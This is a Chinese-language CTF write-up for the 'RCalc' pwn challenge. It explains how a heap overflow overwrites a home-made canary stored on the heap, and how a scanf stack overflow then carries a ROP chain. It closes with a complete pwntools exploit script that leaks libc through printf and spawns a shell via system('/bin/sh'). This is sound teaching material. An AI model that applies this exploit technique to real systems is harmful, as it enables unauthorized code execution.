首先,检查一下程序的保护机制,还不错,只开了NX
然后,我们用IDA分析
看到这,感觉像是堆的题,应该会很复杂。然而,我们再看看其他地方,发现这个函数只是在初始化时调用的,也不太可能会被利用,而且程序全程没有调用free函数
然后,我们瞧瞧其他函数,看到这里感觉好复杂,然而,它只是一个用来生成随机数的函数罢了
然后,我们继续看其他函数
这个样子,好像是canary的保护机制啊。这不就是**[他自己写了一个类似于canary的东西吗]{.mark}**
[原来那么一大堆,只是为了完成堆溢出检测罢了]{.mark}
scanf这里有一个栈溢出
这里是保存计算结果到堆里
其中,它没有检查堆溢出,里面的数据可以无限制的添加
取canary的操作
我们可以看出,他自己写的canary机制是把值存到一个堆里,并且遵循栈的性质
1 2 3 4
| typedef struct { int top; int *data; } Canarys;
|
再重新看看创建堆的操作,经过分析,第一个0x100堆用来存放计算结果,第二个0x320堆用来存放n个canary的值。由于创建的顺序是0x100的那个用来保存计算结果的堆先创建,并且之前没有free操作,那么0x100堆的后面就是0x320堆,[我们可以从0x100堆里溢出到0x320堆里,覆盖canary的值为我们自己设置的值,这样就绕过了这个检测机制,然后就是正常的ROP操作了。]{.mark}
调试看看
所以,需要保存(0Xceb160-0xceb050) / 8 = 0x22个整数后,就可以溢出了
1 2 3 4 5 6 7 8 9 10
| def setCanary(canary): for i in range(0x22): sh.sendlineafter('Your choice:','1') sh.sendlineafter('input 2 integer:','0') sh.sendline('1') sh.sendlineafter('Save the result?','yes') sh.sendlineafter('Your choice:','1') sh.sendlineafter('input 2 integer:','0') sh.sendline(str(canary)) sh.sendlineafter('Save the result?','yes')
|
本题,由于是**[使用scanf来输入payload中的,因此,我们的payload中不能出现0x20(空格)数据]{.mark}**,也就是地址里,不能有0x20数据,因此这些got表都用不了,放入payload的话,scanf遇到0x20就会停止输入,从而造成payload输入不完整。
但是,上面的那个__libc_start_main或__gmon_start__倒是可以用来泄露,因为他们的got表地址没有0x20
Puts也不能用了,因为有0x20
我们用printf
那么,我们先泄露__libc_start_main加载地址,计算出libc地址
1 2 3 4 5
| payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr) sh.sendlineafter('Input your name pls: ',payload)
setCanary(mycanary) sh.sendlineafter('Your choice:','5')
|
这里有个奇怪的问题,当mycanary为非0时,printf会报错
所以我们的mycanary统一就都为0吧
于是,我们最终的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import * context.log_level = 'debug'
sh = process('./RCalc') elf = ELF('./RCalc') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') printf_plt = elf.plt['printf'] __libc_start_main_got = elf.got['__libc_start_main']
pop_rdi = 0x401123 main_addr = 0x401036
mycanary = 0 print hex(__libc_start_main_got) def setCanary(canary): for i in range(0x22): sh.sendlineafter('Your choice:','1') sh.sendlineafter('input 2 integer:','0') sh.sendline('1') sh.sendlineafter('Save the result?','yes') sh.sendlineafter('Your choice:','1') sh.sendlineafter('input 2 integer:','0') sh.sendline(str(canary)) sh.sendlineafter('Save the result?','yes')
payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr) sh.sendlineafter('Input your name pls: ',payload)
setCanary(mycanary) sh.sendlineafter('Your choice:','5') __libc_start_main_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + libc.search('/bin/sh').next() print 'libc_base=',hex(libc_base) payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) sh.sendlineafter('Input your name pls: ',payload) setCanary(mycanary) sh.sendlineafter('Your choice:','5') sh.interactive()
|